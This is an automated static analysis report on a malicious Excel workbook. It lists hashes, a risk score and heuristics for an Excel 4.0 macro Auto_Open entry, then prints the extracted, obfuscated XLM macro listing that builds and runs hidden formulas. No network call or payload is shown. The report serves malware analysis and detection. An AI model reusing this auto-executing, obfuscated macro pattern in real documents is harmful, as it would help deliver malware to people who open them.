Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb0f20d0121b8e24…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:37 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 13ed30a4122f3c9fe29e73b3913312aa SHA-1: 61843983c4be2104100b8b964951135efec73336 SHA-256: cb0f20d0121b8e242b54d422285e53c2d4223e87913f3b1e6c8a6bf79ebe4c91
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6509 bytes
SHA-256: b0057b33f7da4b0bf997220ba4c5e9361422b393b33d07c4cc339305bfbc30c5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uOdo
' 0018     21 LABEL : Cell Value, String Constant - AasUEC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G180 
' 0018     26 LABEL : Cell Value, String Constant - czIKTuzzxOY len=0 
' 0018     20 LABEL : Cell Value, String Constant - dNlLZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - dqZarUqTlP len=0 
' 0018     22 LABEL : Cell Value, String Constant - fJsLUkt len=0 
' 0018     20 LABEL : Cell Value, String Constant - gIkaP len=0 
' 0018     23 LABEL : Cell Value, String Constant - gsMZOqXy len=0 
' 0018     21 LABEL : Cell Value, String Constant - gUBqbB len=0 
' 0018     26 LABEL : Cell Value, String Constant - iGKhenDYAwt len=0 
' 0018     25 LABEL : Cell Value, String Constant - iINhOVUMFt len=0 
' 0018     20 LABEL : Cell Value, String Constant - jamUO len=0 
' 0018     22 LABEL : Cell Value, String Constant - jnccJmJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - kIAhmRbDm len=0 
' 0018     21 LABEL : Cell Value, String Constant - KtKlZl len=0 
' 0018     26 LABEL : Cell Value, String Constant - NbASlVVHtKV len=0 
' 0018     22 LABEL : Cell Value, String Constant - QEaXnRb len=0 
' 0018     25 LABEL : Cell Value, String Constant - SqyUhoZmCk len=0 
' 0018     22 LABEL : Cell Value, String Constant - toyitFj len=0 
' 0018     27 LABEL : Cell Value, String Constant - XAKAdsXLxogk len=0 
' 0018     21 LABEL : Cell Value, String Constant - xuZalV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uOdo,G75,"SET.NAME("iGKhenDYAwt",VALUE("0"))",""
'  uOdo,G80,"SET.NAME("XAKAdsXLxogk",iGKhenDYAwt)",""
'  uOdo,G85,"SET.NAME("xuZalV",iGKhenDYAwt)",""
'  uOdo,G89,"SET.NAME("jnccJmJ",COUNTA(KtKlZl))",""
'  uOdo,G94,"SET.NAME("QEaXnRb",COUNTA(toyitFj))",""
'  uOdo,G96,[],""
'  uOdo,G101,"SET.NAME("gsMZOqXy","")",""
'  uOdo,G106,"XAKAdsXLxogk",""
'  uOdo,G110,"SET.NAME("czIKTuzzxOY",HLOOKUP("*",KtKlZl,XAKAdsXLxogk,FALSE))",""
'  uOdo,G112,"gUBqbB",""
'  uOdo,G117,"SET.NAME("dqZarUqTlP",iGKhenDYAwt)",""
'  uOdo,G121,[],""
'  uOdo,G126,"dqZarUqTlP",""
'  uOdo,G131,"dNlLZ",""
'  uOdo,G135,"AasUEC",""
'  uOdo,G137,"jamUO",""
'  uOdo,G140,"SET.NAME("fJsLUkt",VALUE(HLOOKUP("*",toyitFj,jamUO,FALSE)))",""
'  uOdo,G145,"gIkaP",""
'  uOdo,G148,"gsMZOqXy",""
'  uOdo,G152,"xuZalV",""
'  uOdo,G157,NEXT(),""
'  uOdo,G161,"SqyUhoZmCk",""
'  uOdo,G166,"SET.NAME("f",INT(T(FORMULA(T(gsMZOqXy)&"",""&T(SqyUhoZmCk)))))",""
'  uOdo,G168,"NbASlVVHtKV",""
'  uOdo,G171,NEXT(),""
'  uOdo,G175,RETURN(),""
'  uOdo,G200,"SET.NAME("kIAhmRbDm",G75)",""
'  uOdo,G203,"KtKlZl",""
'  uOdo,G205,"SET.NAME("toyitFj",R96C12)",""
'  uOdo,G210,"SET.NAME("NbASlVVHtKV",217)",""
'  uOdo,G212,"SET.NAME("iINhOVUMFt",7)",""
'  uOdo,G216,kIAhmRbDm(),""
'  uOdo,G217,HALT(),""